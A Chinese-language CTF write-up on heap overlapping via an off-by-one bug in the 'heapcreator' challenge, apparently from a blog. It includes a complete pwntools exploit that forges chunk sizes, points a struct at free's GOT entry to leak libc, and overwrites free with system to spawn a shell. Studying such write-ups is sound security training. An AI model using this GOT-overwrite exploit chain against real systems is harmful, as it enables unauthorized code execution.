本文最后更新于 2024年10月9日 上午
堆利用_overlapping
原理
通过修改chunk中的size的大小,从而让块向前或后延申,与后面的块造成重叠,来对extend的块的内容进行操作
例题:heapcreator

这个程序有5个模块
creat_heap模块

这个模块是在heaparray+i处用malloc申请了一个堆块,并且是先构造了结构体再申请的

大小存在heaparray+i
edit_heap模块
这个模块可以对已创建的堆进行编辑


可以看到这里在修改内容的时候,输入的大小比创建时多了1,造成了off_by_one漏洞
delete_heap模块

这个模块比较的简单,输入index来删除对应的堆

因为这个是先free内容部分,再free掉结构体,如果我们把free改成system,内容输入/bin/sh即可getshell
show_heap模块
这个模块为了打印堆的内容

思路
首先我们先创建好第一个heap来部署/bin/sh,再运用off_by_one漏洞来造成overlapping
1 2 3 4 5 6 7 8 9
| payload='/bin/sh\x00' payload=payload.ljust(0x18,'a') creat(24,payload) py2=b'a'*16 creat(16,py2) py3='/bin/sh\x00' py3=py3.ljust(0x18,'a')+'\x41' edit(0,py3) delete(1)
|

如果进行off_by_one的话可以修改下一个heap结构体的大小,来对下一个heap的内容部分extend
然后我们释放掉再重启就可以对他的内容进行操作
先随便重启一个heap

可以看到这个时候结构体是在内容的下面的
那么我们就可以把结构体的地址覆盖成free来泄露libc
1 2 3 4 5 6 7
| creat(0x30,p64(0)*4 +p64(0x30) + p64(free) printf(1) real=u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00')) print(hex(real)) printf(1) base=real-libc.sym['free'] system=base+libc.sym['system']
|



我们的edit_heap模块也是根据结构体来定位从而修改内容大小
所以直接把内容修改为system即可
1 2
| edit(1,p64(system)) delete(0)
|

exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52
| from pwn import* io=process('./heapcreator')
context(arch='amd64',os='linux',log_level='debug') elf=ELF('./heapcreator') libc=ELF('./libc-2.23.so') free=elf.got['free'] def creat(size,payload): io.recvuntil("Your choice :") io.sendline('1') io.recvuntil("Size of Heap : ") io.sendline(str(size)) io.recvuntil("Content of heap:") io.sendline(payload) def edit(index,content): io.recvuntil("Your choice :") io.sendline('2') io.recvuntil("Index :") io.sendline(str(index)) io.recvuntil("Content of heap : ") io.sendline(content) def printf(index): io.recvuntil("Your choice :") io.sendline('3') io.recvuntil("Index :") io.sendline(str(index)) def delete(index): io.recvuntil("Your choice :") io.sendline('4') io.recvuntil("Index :") io.sendline(str(index))
payload='/bin/sh\x00' payload=payload.ljust(0x18,'a') creat(24,payload) py2=b'a'*16 creat(16,py2) py3='/bin/sh\x00' py3=py3.ljust(0x18,'a')+'\x41' edit(0,py3) delete(1) creat(0x30,p64(0)*4 +p64(0x30) + p64(free)) printf(1) real=u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00')) print(hex(real)) printf(1) base=real-libc.sym['free'] system=base+libc.sym['system'] edit(1,p64(system)) delete(0) io.interactive()
|